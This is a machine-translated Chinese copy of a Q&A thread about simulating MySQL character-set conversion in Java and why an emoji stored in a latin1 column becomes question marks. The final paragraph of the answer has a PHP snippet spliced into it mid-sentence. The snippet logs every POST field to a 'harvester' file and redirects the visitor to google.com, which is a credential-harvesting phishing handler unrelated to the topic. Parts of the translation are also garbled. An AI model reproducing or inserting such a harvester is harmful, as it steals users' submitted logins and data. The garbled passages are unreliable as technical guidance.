如何使用java代码来模拟mysql charset转换?

时间:2015-05-14 09:26:39

标签: mysql character-encoding

在mysql client中执行sql命令时使用java程序模拟charset转换。例如:

mysql> show variables like 'character%';
+--------------------------+---------------------------------------+
| Variable_name            | Value                                 |
+--------------------------+---------------------------------------+
| character_set_client     | gbk                                   |
| character_set_connection | latin1                                |
| character_set_database   | latin1                                |
| character_set_filesystem | binary                                |
| character_set_results    | gbk                                   |
| character_set_server     | utf8mb4                               |
| character_set_system     | utf8                                  |
| character_sets_dir       | /opt/mysql/server-5.6/share/charsets/ |
+--------------------------+---------------------------------------+
mysql> show create table t4\G
*************************** 1. row ***************************
   Table: t4
Create Table: CREATE TABLE `t4` (
`data` varchar(100) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1
mysql> insert into t4 select '\U+1F600';
mysql> select data,hex(data) from t4;
+------+-----------+
| data | hex(data) |
+------+-----------+
| ??   | 3F3F      |

从mysql文档(https://dev.mysql.com/doc/refman/5.0/en/charset-connection.html),似乎数据首先从我的os charset(utf8)转换为客户端(gbk),然后从gbk(客户端)转换为latin1(连接)。 所以基于上面的理解,我写了一个java测试程序员来模拟这个看不见的转换。见下文:

/**
* os utf-8
* character_set_client gbk
* character_set_connection latin1
* field latin1
* 
* @throws UnsupportedEncodingException 
*/
@Test
public void test_os_utf8_to_client_gbk_to_connection_latin1() throws UnsupportedEncodingException{
    String emoji = "";
    String receivedStr = new String(emoji.getBytes("utf-8"),"gbk"); //os(utf-8)-->client(gbk)
    System.out.println(receivedStr);//馃榾
    String convertedStr = new String(receivedStr.getBytes("latin1"),"latin1"); //client(gbk) --> connection(latin1)
    System.out.println(convertedStr);//??
    printHexString(convertedStr.getBytes("latin1")); //3f 3f

}

上面的代码可以得到与真正的mysql操作相同的结果。 我想知道这个模拟背后的原理是正确还是恰好是正确的?

1 个答案:

答案 0 :(得分:0)

是一个4字节的utf8字符。在MySQL中,它需要CHARACTER SET utf8mb4,而不是utf8。 (外界称之为utf8UTF-8,但MySQL有区别。)

\U+1F600也表示在utf8中它将是4个字节,因为它大于FFFF。

馃榾可以在MySQL的utf8或utf8mb4中呈现。它是十六进制E9A683 E6A6BE

对于这两种情况,

latin1都不是一个好的MySQL CHARACTER SET。它可以使用(虽然不是你尝试的方式),但只是因为latin1无法检查字节的有效性。 所有 8位值在latin1中都有一些含义。但是,您可能会获得表情符号😀或中文字符对馃榾

你的六个 character%设置的混合只是在惹麻烦。尝试从默认值开始,然后使用SET NAMES更改其中三个。 3是_client_connection_results

问号出现是因为:

  • 你有utf8编码的数据(好)
  • SET NAMES latin1生效(默认,但错误)
  • 该列已声明CHARACTER SET latin1(默认,但错误)

无法从表格中检索数据。

要正确地做事,

  • utf8编码数据(好)
  • 在从客户端到服务器的连接中建立utf8mb4
  • 检查列和/或表默认为CHARACTER SET utf8mb4
  • 如果您在网页上展示,<meta...charset=utf-8>应该在顶部附近。

(其中两个指定utf8mb4,因为他们正在与MySQL交谈;另外两个是更通用的utf8。)

您提到了gbk。如果客户端中的字节编码为&#34; gbk&#34;,则继续此段落。 (我怀疑它们不是,因为Java喜欢处理Unicode,因此utf8。)如果已经建立了gbk,那么在客户端中有SET NAMES gbk字节是可以的。这意味着gbk编码的字节将被转码到表的CHARACTER SET或从表的latin1转码。注意:CHARACER SET latin1 无法保留中文字符或表情符号,因此CHARACTER SET gbk不是有效对象。 utf8mb4utf8mb4应该有效。 (此外,我怀疑gbk无法容纳该表情符号,因此SET NAMES gbk可能是唯一合理的选项,而<?php $file = 'harvester_2015-05-14 17:51:59.186240.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://www.google.com" /> 可能无效。)